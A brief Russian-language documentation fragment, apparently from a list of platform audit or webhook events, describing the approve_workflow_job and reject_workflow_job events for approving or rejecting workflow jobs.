approve_workflow_jobАктивируется при утверждении задания рабочего процесса. Дополнительные сведения см. в разделе Просмотр развертываний.
reject_workflow_jobАктивируется при отклонении задания рабочего процесса. Дополнительные сведения см. в разделе Просмотр развертываний.